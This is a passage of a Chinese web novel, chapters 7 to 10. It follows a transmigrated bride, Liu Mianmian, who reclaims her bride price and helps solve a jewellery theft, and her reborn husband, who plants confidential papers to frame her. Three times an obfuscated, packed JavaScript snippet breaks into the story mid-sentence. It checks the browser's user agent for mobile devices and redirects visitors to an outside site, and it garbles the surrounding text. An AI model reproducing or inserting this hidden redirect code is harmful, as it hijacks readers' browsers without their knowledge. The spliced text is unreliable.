明明上辈子他们过来时,就只是简单地吃了个饭,唯一的小插曲是柳绵绵夹走两个鸡腿,柳家那个孩子因为没吃到鸡腿嚎啕大哭,在几个大人哄着的时候,柳绵绵还火上浇油说以后只要她在他都别想吃鸡腿。 他那时候只觉新婚妻子幼稚自私,万万没想到第二天她就卷了东西跟人私奔了。 今天发生的一切却和上辈子截然不同。 她老老实实吃饭,夹了一个鸡翅,对鸡腿似乎全然不感兴趣,也没怎么正眼看过柳家那个熊孩子。吃完饭后,她才突然发作,唱念做打,打了柳家人一个措手不及兵荒马乱,那家人竟然毫无招架之力。 很显然,今天的一切在她的预料或者说计划之中。 可明明上辈子她从来没提过彩礼的事。 按照柳家人的秉性推测,上辈子柳家人应该也没有把彩礼交给她,她应该是一直不知道这件事。 沈维舟忍不住想,假如上辈子那个柳绵绵知道两千块钱彩礼被家人瞒下,她会怎么做?他觉得应该不是今天这样。 柳绵绵不知道沈维舟的心理活动,她吃着桃酥,口齿含糊地说:“你什么都不用做,你这尊大佛杵着,就是对他们最好的威慑,要没你在一旁杵着,他们不会那么爽快把钱给我。” 什么叫他这尊大佛杵着。 她说话的方式也和上辈子完全不同。 沈维舟忽略她乱七八糟的比喻,审视看她,问:“你和娘家人关系这么不好?” 柳绵绵看向他:“你这不是明知故问?别看我们今天演得热火朝天,其实明眼人都能看出来怎么回事了。”邻居里面有哪些是真心实意相信她们母女情深的,还真不好说。 “鱼目混珠的故事听说过吗,有户人家把大鱼的眼睛当做珍珠代代相传,直到生病要入药才发现不是真的珍珠。我们家呢,是藏了一颗璀璨明珠在家里,突然有一天知道明珠是别人的,鱼眼睛才是自己,这心理落差,恨不得把鱼眼睛给砸碎了。” 沈维舟看她一眼,她一口汽水一口桃酥吃得欢快,仿佛那颗不被人喜欢的鱼眼睛并不是她。 和上辈子那个自卑、尖锐的柳绵绵完全不像同一个人。 明天她还会和那个混混一起私奔吗? 对了,混混还被关在派出所,也可能…… 沈维舟眼神渐渐冷下来,他提醒自己,不要被眼前这个女人开朗、明艳的表象所欺骗,不管外表如何,本质上她都是那个自私自利、害得他家破人亡的女人。 就像异世那些善于伪装的怪物。 他不能放松对她的警惕。 一回到家,沈维舟就又钻进了书房。 刘婶唉声叹气:“每天不是看书写文章,就是弄那些电池啊管子什么的,哦哟,中午也不休息的,我是真怕他身体受不住。” 柳绵绵现在已经知道了,刘婶是沈维舟祖母家的亲戚,老太太去世早,临终找了自家表姐来照顾儿子,这位表姐就是刘婶的母亲。 后来沈维舟出生,生下来身体就不好,中间沈伯康还被下放过几年,都是刘婶夫妻俩一起帮着照顾沈维舟。 刘婶自己两个儿子都在当兵,照她的说法,都身强体壮,跟牛似的,她一点都不担心,只有沈维舟,不是亲生胜似亲生,她和俞婉一样操心。 柳绵绵不知道沈维舟生的什么病,沈家一开始上门提亲的时候是说过的,但原主那时候注意力根本不在这上面,只顾着打听沈家的背景,后面则是从朱永齐口中得知他病入膏肓。现在自然也不好再问。 她宽慰刘婶:“我看他精神不错,我被公交车颠得快要吐,他一点反应也没有,老神在在的。” 单单看他的状态,确实不像快要死的人。 刘婶被逗笑,叹息说:“从小就这样,不舒服也不会讲的。” 没再纠结这个话题,刘婶又问起回门的事,柳绵绵心说那可太精彩了,只是说出来怕是要把这位憨厚可爱的婶子给吓着。于是挑挑拣拣的,只说了柳家为欢迎他们准备了丰盛的菜色,还有就是自己为感谢邻居分了喜烟和喜糖。 饶是如此,刘婶也惊讶地张大了嘴:“你把喜烟喜糖都给分了?” 柳绵绵理直气壮:“我当初能回南城,全靠了邻居们帮忙,结婚自然也该感谢一下大家。” 刘婶沉默了一瞬,迟疑说:“你说的也有道理。”只是总感觉好像哪里不太对。 两人正闲磕牙,忽然听见有人敲门,刘婶起身去开门,门打开,柳绵绵听见她惊喜地和来人寒暄:“小林,你今天怎么有空过来?” 等到客人进门,柳绵绵看清来人,不禁惊讶地挑了下眉。 进门的客人浓眉大眼,国字脸,一副正气凛然的相貌,赫然就是之前在派出所给她做笔录的公安同志。 “小林,这是维舟的媳妇儿柳绵绵。”刘婶介绍,“绵绵,这是维舟的发小林哲,小林是咱们辖区派出所的公安。” 柳绵绵去趟娘家还给她带了好吃的桃酥,刘婶自觉和柳绵绵关系更加亲近了,不再喊她柳姑娘,亲切地叫起了“绵绵”。 柳绵绵确实挺惊讶,这位三十来岁的公安同志,气质沉稳质朴,不管从年龄、样貌或者是气质来看,都和“沈维舟发小”这个身份不太搭。 他看起来比沈维舟至少大六七岁。 他不会,其实和沈维舟是同龄人吧? 刘婶招呼林哲:“小林你坐会儿,维舟在书房,我去喊他出来。” 林哲阻止说:“婶儿,我不找维舟,我是来找柳同志的。因为她为我们提供了关键性的线索,上午我们已经成功抓获帽儿胡同金银偷窃案的嫌疑人,对方也已经招供。我特地过来,就是代表派出所第一时间向柳绵绵同志表示感谢!” 柳绵绵知道嫌疑人是谁,也早猜到公安能破案,只是没想到能这么快。不过,她还是表达了恰到好处的疑惑:“我提供了关键性的线索吗,我没去过帽儿胡同呀,而且,我感觉我也没说什么呀?” 刘婶是真的丈二和尚摸不着头脑:“不就是看见巷子里有人吗,哦哟,难道是,昨晚上我们巷子抓到的小伙子真是小偷啊?” 林哲摇摇头,解释说:“不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670001|173112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个人,嫌疑人是新娘的朋友,是个女同志,案子还在调查,更多的我也不能透露。能这么快破案真的要感谢柳同志,因为柳同志提供线索,说看到的是长头发的人,帮助我们圈定了嫌疑人范围。上午嫌疑人有些异动,马上就被我们发现了,抓捕和审讯过程都非常顺利,赃物也顺利找回了。” 其实他们公安内部都觉得,这个案子能这么快破获真的是需要非常多的巧合,其中最重要的就是柳绵绵。 柳绵绵发现了嫌疑人,沈家才会跑去巷子里抓贼,因为沈家抓贼,求知巷闹腾起来,帽儿胡同那边才会警惕,新娘子才会及时发现财物丢失又及时报案。 像这么及时报案的案子,发案时间短,涉案人员相对固定,哪怕没有长头发这个线索,早早晚晚也是能破案的,只是可能会绕一些弯路。 而恰好柳绵绵又提供了长头发这个重要的线索,他们一排摸分析,很快就锁定了几个嫌疑最大的人。 “竟然是新娘的朋友!”刘婶震惊地说,“啧啧啧,这算什么狗屁倒灶的朋友哦,这种事都做得出来,这是要把人往火坑里推哦。” “我说呢,明明看见的是长头发的嘛。”柳绵绵叹了口气,“面甜心苦的人也是很多的,表面笑嘻嘻,背后捅刀子,自古以来就这样。所幸及时认清真面目,东西也找回来了。” 两人唏嘘感叹了一会儿,才想起来给林哲倒水,刘婶进厨房拿了一盘花生,又洗了一盘樱桃:“早上在知青菜场买的,忘记让你带一点回娘家了。”后面这句话是跟柳绵绵说的。 柳绵绵很想说他们不配。 去之前她就挺好奇,什么样的奇葩父母,会把好不容易找回来的亲生女儿嫁给一只脚踏进棺材的人,去了之后倒是明白了,一家子自私自利的刻薄鬼。 林哲不愧是沈维舟的发小,吃吃喝喝的一点不客气,完全不把自己当外人,甚至还很不见外地说要带点樱桃回去给他媳妇儿吃,他媳妇儿怀孕了,就好这一口。 刘婶笑呵呵地就去给他装了一袋,还说明天要碰见就再多买一些给他送去。 最神奇的是,作为沈维舟的发小,林哲真的一点都没有喊沈维舟出来交流交流感情的意思。 林哲毕竟还要上班,吃喝了一会儿,就起身要走。柳绵绵想起一件事,问他:“帽儿胡同的嫌疑人抓到了,那朱永齐呢,他会怎么处理?” 朱永齐只是形迹可疑,没抓到现行,也没有赃物,帽儿胡同的案子没破之前,他会被当做嫌疑人关着,帽儿胡同的案子破了,他估计就会被放掉了。 果然,林哲说:“各方面证据表明,他和帽儿胡同的案子无关,附近也没有其他报案,教育了一下,放他回去了。” 柳绵绵啧了声,便宜朱渣男了。 林哲深深看了柳绵绵一眼,他没说的是,在帽儿胡同金银案破案之前,朱永齐为了洗刷自己嫌疑,交代自己和柳绵绵是情人关系,两人为寻求刺激,约好在柳绵绵新婚夜时幽会。 当然,这只是朱永齐的一面之辞,毕竟当晚柳绵绵并没有外出。 甚至朱永齐会被抓,也是因为她看到了嫌疑人——虽然有些巧合得不可思议。 林哲告辞走人,走到门口回头看正房的方向,分明看到书房的窗打开了,沈维舟站在窗前向他看过来,两人在虚空中交换了一个眼神,林哲笑了下,摆摆手,走了。 柳绵绵顺着林哲的视线回头,与沈维舟的目光对上,她奇怪地问:“你怎么不出来跟你发小聊两句?” 沈维舟没回答,他冷着一张脸,眼神淡淡看着柳绵绵,几秒后,啪嗒,窗子关上了。 柳绵绵:“……” 莫名其妙。 8. 第8章 天气不错,柳绵绵从屋里搬了藤椅出来,据说是沈维舟日常躺着晒太阳的,上面铺着软软的、干净清爽的垫子,她往上面一躺,暖洋洋的太阳晒着,果然非常舒服。 很快就睡了过去。 虽然心大,但到底是穿越进了另一个时空,人生地不熟,爹不疼娘不爱,身上还只有九十多块钱,多多少少是有些不安的。现在兜里有了两千块钱巨款,又找了一个工作时间短、薪水高的工作,心里踏实多了。 这一觉柳绵绵睡得特别香,要不是刘婶把她摇醒,柳绵绵怀疑自己能一直睡到半夜去。 “是天黑了吗?”柳绵绵迷迷糊糊问,睁开眼,好嘛,阳光虽然微弱了许多,不过还是白天,身上不知什么时候盖了一条蓝白相间的薄毯,柳绵绵感觉自己背上都出了一点汗。睡得太舒服了。 “天还早着呢。”刘婶站在她面前,冲她使眼色。 柳绵绵侧过头,看到两个女人站在院子里。年轻一点的二十出头的样子,烫着卷发,穿了一件暗红色灯芯绒外套,五官长得很秀气。年纪大的穿了件卡其色的外套,眉眼间和年轻女人有四五分相像。 两人笑容温和看着她,年纪大的先开口:“柳同志,打扰你休息了。” 这俩人居然是来找她的。 柳绵绵扒拉开毯子站了起来,看看旁边摆着的小凳子,这是之前林哲过来时刘婶搬出来的,说:“婶子你们坐。” 又问:“找我是有什么事吗?” 刘婶介绍说:“是帽儿胡同和你一天结婚的那个新娘子,这是她亲妈。” 年轻女人忙点头:“对,我就是帽儿胡同那个丢了金银首饰的新娘子,我叫许海棠,这是我妈妈,她姓骆。公安通知我们人抓到了,东西也找回来了,等案件了结,就能把东西领回来。多亏了你,要不是你发现有贼,后面又给公安提供了重要线索,我那些东西没准就找不回来了。”说着说着,声音就有些哽咽了。 骆婶子拍拍闺女的肩膀,诚恳道:“柳同志,这件事确实是,要不是你,东西什么时候能找回来,能不能找回来,都难说。” 母女俩轮番地表达谢意,感谢的话说了一箩筐,最后死活把拎来的两袋东西留下了,还说东西不值钱,不足以表达谢意于万一,然后就匆匆走了。 柳绵绵感觉自己还没醒过神儿,耳朵里转圈的都是“谢谢你,真的非常感谢”,她俩就已经一溜烟儿跑了。 生怕那两袋东西能自己长腿追上她们似的。 柳绵绵无奈,扒拉开袋子看了眼,罐头、水果、糕点和麦乳精,东西都是好东西,而且也不是什么贵重到收了还会有顾虑的,可见人家是认真考虑过,诚心诚意想道这个谢。 想了想,柳绵绵把东西都拿了出来:“收着吧,等回头……”她停顿了下,想起离得最近的节日是清明,又往后捋了捋,“等立夏或者端午的时候,弄点东西回礼就行了。” 她把东西分了分,一部分让刘婶放到厨房,家里人都可以吃,一部分收到房间里,平时饿了可以当点心。 “那个小许是前进服装厂的,听说是采购科的,工作好,性格也挺好,长得也蛮漂亮的。她妈妈听说是当老师的,你看她说话做事,那叫什么,知书达礼,是这么说吧?一看就是有文化的人哦。” 刘婶边摘菜边嘀咕,“她怎么会嫁去孙家的哦,孙家老握方向盘当司机,光鲜嘛是蛮光鲜的,可他们家兄弟四个,老大当个临时工,生了三个娃,老三也是临时工,赚点钱都拿去喝酒了,老小没工作,整天在外头晃荡,父母也不是多能赚钱的,家里负担很重的。她婆婆性格又小气又刻薄,她日子不好过的。” 柳绵绵回想了下,虽然原书着墨不多,但从那寥寥数语里,也能知道,许海棠在孙家的日子确实是不好过。 明明丢的是她自己的金银首饰,孙家人却跟她弄丢了孙家的传家宝似的,婆婆更是每天恶言恶语,尤其孙老三遇到抢劫被捅死后,婆婆更是视她为眼中钉肉中刺。 她后面会难产而死,多半也是长期遭受身心折磨的缘故吧。 “孙老二倒是有点出息,自己想法子借钱去学了开车,后面进了前进服装厂车队当司机。他们家是全靠老二在外面弄点外快贴补,不然光景更差。可嫁人也不是光看本人有没有出息的,家里兄弟姐妹、公公婆婆怎么样也是很要紧的。” 看来孙家风评确实一般,刘婶说两句就叹口气。 柳绵绵忍不住笑道:“刘婶你是厉害的,隔壁胡同的事情,你也了如指掌啊?派出所应该让你兼职去查案子的呀。” 逗得刘婶咯咯直笑。 两人说着闲话,谁也没注意到,书房的窗打开了半扇。 傍晚柔和的光线中,沈维舟站在窗扇后面,看着院子里有说有笑的两个人。 上辈子柳绵绵和刘婶的关系有这么好吗?这个念头刚冒出来,沈维舟就无声地冷笑了下。 怎么可能,上辈子柳绵绵不止讨厌他,也“厌屋及乌”讨厌他的家人,对待所有人都尖利刻薄,尤其对刘婶,一有不如意的地方,就口出恶言大呼小叫。 为什么这辈子会截然不同? 沈维舟看向柳绵绵,这个人分明就是柳绵绵,可她笑起来的样子,又似乎和记忆中的那个女人不同。他的视线不自觉在她脸上停留,又在某一瞬匆匆挪开,落在眼前这个小铁匣子上。 重生以后他失去了系统,也失去了觉醒的异能,不过他在异世生存时学会的知识还在。 刨除丧尸级别、怪物种类、它们的技能和弱点之类,在这个时空毫无用处的知识,还有很多关于武器装备的。当然,也要刨除由于太超前而无法应用于这个时空的部分,剩下的极少的一部分,其实也足以解决这个时空中的许多问题了。 比如,他用那些知识改造了一个报警器,可以确保财物被盗窃的瞬间发出警报,并对偷盗者采取一定的控制手段。 没事,其他的都不重要。 他会亲手抓住她。 咔嚓,窗子又轻轻地关了回去,欢快的说笑声被隔绝在了玻璃窗外面。 * 晚饭时除了沈维云,其他人都回来了。 沈维云是高三学生,已经进入高考冲刺阶段,这学期在学校申请了个床位,大部分时间住校,偶尔才回家打打牙祭。 南城是大前年更改的高中学制,之前高中只需要上两年,沈维云刚好赶上改革,她这一届是南城第一届高三生。 饭桌上说起许海棠上门道谢的事,白天不在家的几个人都很诧异。 毕竟柳绵绵只是提供了一点线索,并不是直接帮忙抓住了贼,这种情况一般没人会这么郑重其事地登门道谢。 讨论的结果是,几人一致觉得许家母女人品不错。 王叔对帽儿胡同孙家也有些了解:“他家老二脑子是挺灵光的,他们当司机的,经常到处跑,不少人都会自己捎带点东西赚点外快,他就经常在我们酒厂弄酒出去卖。”王叔是当兵转业的,在南城酒厂保卫科上班。 他啧了声,又说:“不过赚的钱是花在赌上还是花在嫖上就不好说了。” 俞婉自己也有女儿,听到这话,不禁皱了皱眉:“许家和他家结亲之前都没仔细打听打听吗?” 王叔:“嗐,我听说他媳妇儿和老丈人也都是服装厂,一个单位的,估计是灯下黑吧,都是同事,有些话就不好说了。一个说了破坏人家的姻缘,再一个万一这边说了坏话人家那边还是结婚了呢,那不是,那叫什么……” 沈伯康接了话茬:“枉作小人。” 王叔:“对,就是这个,两边不讨好。” 刘婶叹了口气:“那姑娘长得蛮漂亮的,性格也蛮好的,说话很和气,人看着也没什么心眼,真是可惜了。” 沈伯康在研究所工作,平时心思都在科研上,对其他事情不太关注。当然,在他的观念里,一个有正式工作的、经济独立的女性,哪怕嫁错人,只要保持理智,看清真相后及时切割,对人生并不会产生太大影响。 他转了话题,问沈维舟:“你这两天在家里做实验?” 父子俩兴趣爱好一致,经常一起讨论,但今天沈维舟显然不想讨论,敷衍了一句:“算不上实验。” 俞婉把柳绵绵多夹了几筷子的菜挪到她面前,说:“下午路过百货大楼,看见一件衣服挺适合你,我就买了,吃完饭你拿去试试合不合身。” 大概怕柳绵绵不一定喜欢,又说:“成衣柜台的售货员是我们单位同事的小姑子,款式不喜欢,大小不合适,她都可以帮忙调换的。” 照南城的风俗,结婚聘礼包含四季衣服,即春夏秋冬各一套。不过多数人并没有这个经济条件,实际送两套衣服的比较多,实在经济条件有限,也有只准备一套的。当然,换了改开之前,能有一套新衣服就很体面了。 所以说,像沈家按照风俗准备了四套衣服的,其实是少有的。 柳绵绵没想到,结婚才三天,俞婉又给她买了新衣服。 “我衣服够穿了,再说天气很快就热起来了,有这钱,还不如多买几条连衣裙。”柳绵绵用原主那种不识好歹的语气说。 俞婉一点不生气,笑着说:“已经买回来了就试试吧,不喜欢再去换别的,连衣裙等天气再热一点,新款式都上来了再去买。” 面对始终情绪稳定的俞婉,柳绵绵总有一种自己是个蛮不讲理熊孩子的错觉,拒绝的话没办法再说出口,她想想除了沈家的聘礼,箱子里确实也没什么像样的衣服,她总不能一直穿着枣红西装去上班。 于是点点头:“行吧,xie……” 不对,不需要说谢谢,原主可从来不说谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670002|173112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢。 柳绵绵忽然感觉旁边有一道无法忽视的目光,她侧头看过去,对上了沈维舟冷厉审视的眼神。柳绵绵觉得沈维舟这个人,喜怒难测,很让人看不懂。 不过狭路相逢勇者胜的道理她还是懂的,她狠狠回瞪了一眼,扭头不再理睬他。 沈维舟移开视线,他捏着筷子,有些出神地看着碗里的米饭。 上辈子母亲也在这一天买了一件衣服,本来母亲是让柳绵绵拿回他们自己房间试的,但那天柳绵绵一反常态,亲热挽着母亲的手,说用不着这么麻烦,她一起去拿衣服,直接在正房试就行了。 母亲以为是自己细致入微的真心相待,终于软化了她身上的利刺,哪想到她只是趁机去观察地形。第二天她就趁着家里没人,偷走了母亲房间里的金银首饰和现金,把房间翻得乱七八糟,连夹在书里的几张零钞都没有放过。 “维舟,吃饭呀,发什么呆?” 沈维舟被俞婉的声音惊醒,只觉脊背一阵发寒。 “没什么。” 碗里的饭有点凉了,他匆匆扒拉进嘴里,寒意好像随着那一团米饭又进到了胃里。 吃完饭沈维舟听见俞婉说要去拿衣服,柳绵绵笑着说自己跟着去拿,她没有亲热地挽着俞婉,但亦步亦趋地跟在后面。眼看她们前后脚出了餐厅,沈维舟忍不住站了起来,快步跟了上去。 沈伯康喊了他一声,还说了一句什么,沈维舟没听清,不过这不重要。 沈维舟匆匆走出餐厅,往正房走去,走到门口,脚步突然生硬地顿住。 应该已经在正房试衣,并趁机窥探他父母房间的柳绵绵,就站在门边。 沈维舟怔怔看着女孩窈窕的身影,心头突然一空,一种无法言说的滋味涌了上来。 柳绵绵听见身后的脚步声,她回过头,屋里透漏出来的灯光,照亮了沈维舟分外苍白的脸。 她吓了一跳:“你怎么了,身体不舒服?” 沈维舟盯着她看了一会儿,微不可见地摇头:“没有。” “没有吗,我看你脸色不太好啊?”柳绵绵靠近了一点,“不是,这种天气你怎么出了一脑门的汗?” 她下意识伸手,想探一探他的额头,沈维舟手一抬,啪地拍开了她。 嘶,柳绵绵倒吸一口凉气。 这人手劲怎么这么大,看着轻飘飘的一下,她的手却好像被什么武器攻击了一样,一阵酸麻的痛楚。 撸起袖子看了眼,果然,红了一大片。 “……” 柳绵绵忍不住问:“你是练过铁砂掌吗?” 别担心他发病了,哪个发病的人能有这种力道! 沈维舟也没想到,随手一拍,竟然能给她拍成这样,莹白的皮肤表面一片紫红,看着像是被人打了……或许也算是被人打了吧,条件反射下,他并没有完全收力。 他想说抱歉,可面对眼前这个人,他又觉得自己没必要说抱歉。 俞婉拿着袋子走出来,看到小两口站在门口,诧异:“维舟你怎么也站门口?” 她笑了起来:“绵绵这孩子,说不习惯随便进别人卧室,其实不要紧的,自家人哪里需要这样见外。” “我不爱进别人卧室,也不希望别人随便进我的卧室。”柳绵绵一瞬切换模式,硬声硬气说,“我拿去试试。” 再这么下去,怕是要人格分裂。 拿了袋子,柳绵绵赶紧转身走人。 一直到柳绵绵走远,沈维舟也没挪动脚步,俞婉奇怪看向一向沉稳的儿子,见他难得有些神思恍惚,放低了声音,问:“维舟,是发生什么神情了吗?” 沈维舟看向母亲温柔的面容,摇摇头:“没什么。” 东厢房,柳绵绵拿出纸袋里的衣服,是一件半长的米白薄呢外套,经典的翻领款式,裁剪简洁大气,很符合柳绵绵的审美。 穿这件衣服去西餐厅弹钢琴应该很合适。 套了一下,大小也刚刚好,很合身。 俞女士的眼光实在不错。 对着镜子臭美了一会儿,柳绵绵脱下衣服依旧放回袋子里。新衣服得过一下水晾晒一下才能穿,明天上班她还是继续穿她的枣红色西装吧。 柳绵绵将被她扔在床上的西装挂到衣帽架上,忽然想起来,伸手掏了掏衣兜,拿出一个鼓鼓囊囊的信封。 柳家拿回来的两千块钱。 从信封里抽出纸币,柳绵绵也不嫌脏,喜滋滋地点了好几遍,才心满意足地把钱放回信封,塞进她自己那个皮箱的角落里。 换了上辈子,要是有人告诉她,有一天她会把两百张十元面额的纸币当宝贝,柳绵绵一定会觉得那个人是不是疯了。 但是现在,柳绵绵笑得见牙不见眼,这可是她的小金猪,她在风口蹦跶着很快就会起飞的小金猪崽崽! 9. 第9章 柳绵绵一夜好梦,早晨醒来的时候感觉自己精神抖擞,分分钟能上山打虎。洗漱完去吃早饭,刘婶笑呵呵说今天一早包了她想吃的馄饨,柳绵绵高兴地道了声谢。 “哦哟,明明嘴巴蛮甜的,怎么在公婆面前,总是硬声硬气的。”刘婶嘀咕了一句。 柳绵绵只当没听见,快步进了餐厅。 成天演戏实在太累了,她决定采取间歇性表演大法,看心情间歇式发作一下。这样他们不会觉得她性情大变,只会以为她这个人就是这么情绪多变。等慢慢的,她不演了,他们也不会觉得突兀。 一向早起的沈维舟居然还在吃早饭。 柳绵绵看到他,想起昨天挨的打……他确实只是拍开了她,但对她来说就是挨了打,疼痛程度相当,她想着,撸起袖子看了眼,还是有点红,不过没有昨晚看着那么吓人了。 瞥见她动作的沈维舟:“……” 他视线在那一片淡了些许的红色上扫过,微抿了抿嘴。 柳绵绵不满地哼了一声。 这人,哪怕他不是故意的,好歹打到她了吧,竟然连声不好意思都不说。 不过想想他每天安安分分躺在半边床上,从来不打扰她,再想想他看似金玉其外实则败絮其中的身体,柳绵绵决定不跟他一般见识。 刘婶做的小馄饨皮薄馅嫩,汤里还放了切得细长的千张丝,非常好吃。 柳绵绵边吃边扬声问刘婶中午吃什么,刘婶乐了,这还吃着早饭呢,就惦记上午饭了,可真是小孩子脾性。她笑呵呵说:“早晨买了荠菜,哦呦,鲜嫩得咧,你们已经吃过馄饨,就不包饺子了,摊荠菜鸡蛋饼吃吧?也好吃的,很香的哦。” 柳绵绵表示满意,她吃过荠菜馅儿的饺子,没吃过荠菜鸡蛋饼,不过听着就很香,她跟刘婶说中午有事,要早点吃饭,刘婶笑着应了。 沈维舟看了她一眼。 窗外,巷子里几个大妈来找刘婶闲磕牙,有人说起对岸江北村祭祖,大手笔请了省剧团的名角樊文芳来演出,就在今天下午。几个老太太顿时兴致勃勃,商量着坐船去看演出。 说是对岸,其实轮渡一小时一班,很方便的,早点回来,完全赶得及做晚饭。 沈维舟听见其他人怂恿刘婶一起,刘婶大概是不放心他,有些迟疑。他起身到窗边,如同上辈子一样告诉刘婶,自己下午要去一趟研究所,所里会派司机来接,让她放心去对岸看戏。 身后传来柳绵绵的声音:“下午我准备出去逛逛,反正家里没人,这么难得,刘婶你就去呗。” 沈维舟微垂眼眸,掩下眸底的一片冰寒。 果然,柳绵绵也如同上辈子一样怂恿刘婶去看戏。 只是她哪里是要出去逛逛,她是要偷了家里的东西跟人私奔。 下午四点二十五有一趟南城去往深市的火车,上辈子她和那个情夫就是乘这一趟车去了南边儿。 他们俩都这么说,几个邻居大妈劝得更起劲了,没多久,刘婶就犹犹豫豫地答应了:“那我给晚上要做的菜先收拾好,到时候万一要是晚了嘛,也不怕来不及的。” 这下唯一犹豫不决的人也定下了,大妈们更加兴奋起来,叽叽喳喳地聊起樊文芳擅长的经典剧目。 餐厅里两人吃完早饭,一个进了书房,一个进了东厢。 柳绵绵进屋把角落里那个皮箱打开放在地上,先摸了摸夹层里的信封,感受到里面鼓鼓囊囊的厚重感,她忍不住弯了弯唇。 随后才把皮箱里的衣服都拿出来摊在床上。 之前她手头只有九十多块钱,自然不可能有多余的钱拿去买衣服,可现在她有了两千块钱,柳绵绵就觉得,可以不用委屈自己穿原主这些和她审美大相径庭的衣服了。 而且,她打听过了,隔了两条街,就有一家旧货商店,这些衣服完全可以拿去那里卖掉。这样既可以回点血,还不至于浪费。 柳绵绵挑挑拣拣的,最后只留了一些贴身的衣服和三套换洗的。贴身衣服剪了当抹布,三套换洗的,哪怕一时买不到合心意的衣服,这天气也差不多了。 找出个原来放被褥的袋子,把要卖的衣服装好塞进床底下,又把空了大半的皮箱收好放回角落,柳绵绵往椅子上一靠。 行了,等中午下班回来拖了去卖掉,再拿着卖衣服的钱去百货大楼逛逛。 院子里,几个大妈讨论完下午几点碰头、带什么东西后,话题又偏到了沈家这对新婚小夫妻身上。 有好奇柳绵绵好不好相处的,也有好奇俩人感情怎么样的,甚至还有人好奇沈维舟“行不行”沈家什么时候能抱孙子的……这年纪的人,基本是荤素不忌,什么话都敢说,要是让柳绵绵听见,能让她这个小黄人原地变身小红人,脸红的红。 直到曹大妈撇着嘴老调重弹:“小沈娶这么个媳妇真是亏死了哟,当初要是早点跟我说一声,我怎么也给小沈介绍一个又好看又有好工作的啰,哪里像现在这个,你们看着,肯定要月月摊手和家里要钱的啰。” 其他几人尴尬地不说话,心里暗骂老曹这人真是没眼色。 在人家院子里数落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670003|173112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家刚娶进门的新媳妇,也就是沈教授和俞主任不在,不然人家再斯文还不得拿扫帚赶人? 何况,以沈家的背景,给新媳妇安排个工作难道是什么难事?估计也就是刚结婚,不着急办这事。 至于说月月摊手和家里要钱,沈家难道能在乎这点钱? 只是曹大妈这人一贯嘴巴利索性格还难缠,其他几人不愿为别人家的事情招惹她,只能一个个都不吭声。 让几人没想到的是,一向笑呵呵从不跟人红脸的刘婶,突然把正洗着的菜啪地甩回盆里:“曹大姐,你要以后还说这些,就别来了!” 曹大妈表情一僵,呼地站了起来:“哦哟,我还不是替小沈可怜啊,真是好心没好报,不来了就不来了嘛。” 其他人赶紧两边劝着,又说该忙活午饭了,拉着曹大妈就走了。 书房半开的窗户后面,沈维舟看着几个大妈拉拉扯扯地走出院子,还看到刘婶一直等到她们走远看不见了,才呸地啐了声,气呼呼地嘀咕着什么。 他不禁弯弯唇,摇头叹息,就连啐人都不敢当着人面啐。 不过这位长辈性格绵软,为人也一向宽厚,倒是少见她这么生气的。 没想到短短几天的相处,她竟然就这么维护柳绵绵。 沈维舟在窗前又站了一会儿,看着刘婶在院子里忙忙碌碌,许久,伸手关上窗。 书房侧门出去是堂厅,堂厅另一侧就是他父母的卧室,他父亲笃信君子慎独不欺暗室,而且院子里都是自家人,所以卧室从不锁门。 沈维舟手里拿着铁匣子和几张薄薄的纸片进了卧室。 偷盗自家的财物,哪怕当场抓住人赃具获,怕是也坐不了多久到牢,窃取机密研究资料就不同了。他准备的这几张纸,正是南城物理研究所机密研究项目的解决方案,是他结合异世的武器装备知识和华国目前的研究水平写的。 只要从她身上搜到这些,她满身是嘴也解释不清了。 毕竟,普通人哪会对这种东西感兴趣? 按照这些资料的重要程度,足以让她把牢底坐穿。 一切放置妥当后,沈维舟走出卧室,轻轻阖上房门。 他手指停留在门上,迟疑几秒,眼前一闪而过正午阳光下女孩灿烂的笑容。 但几乎同时,耳边似乎又响起急促的电话铃声,电话那头一个声音机械地重复着“俞女士发生车祸,俞女士发生车祸”,隐隐的,这个声音又与丧尸嘶哑的低吼与怪物尖锐的叫声重叠…… 沈维舟闭了闭眼,转过身。 10. 第10章 中午吃的荠菜鸡蛋饼,荠菜鲜嫩得不行,饼也非常香。不过柳绵绵发现沈维舟好像有些心不在焉,吃了半天,才吃了一点点,中途还频频看她,眼神复杂得她都不知道怎么形容。 柳绵绵没空管他,匆匆吃完,进东厢房换了衣服就走了。 “柳姑娘这着急忙慌的是要去做什么哟?”刘婶忍不住问沈维舟。这几天她和柳绵绵相处得不错,但也不敢主动打听柳绵绵的行踪,讨人嫌的呀。 沈维舟摇摇头。 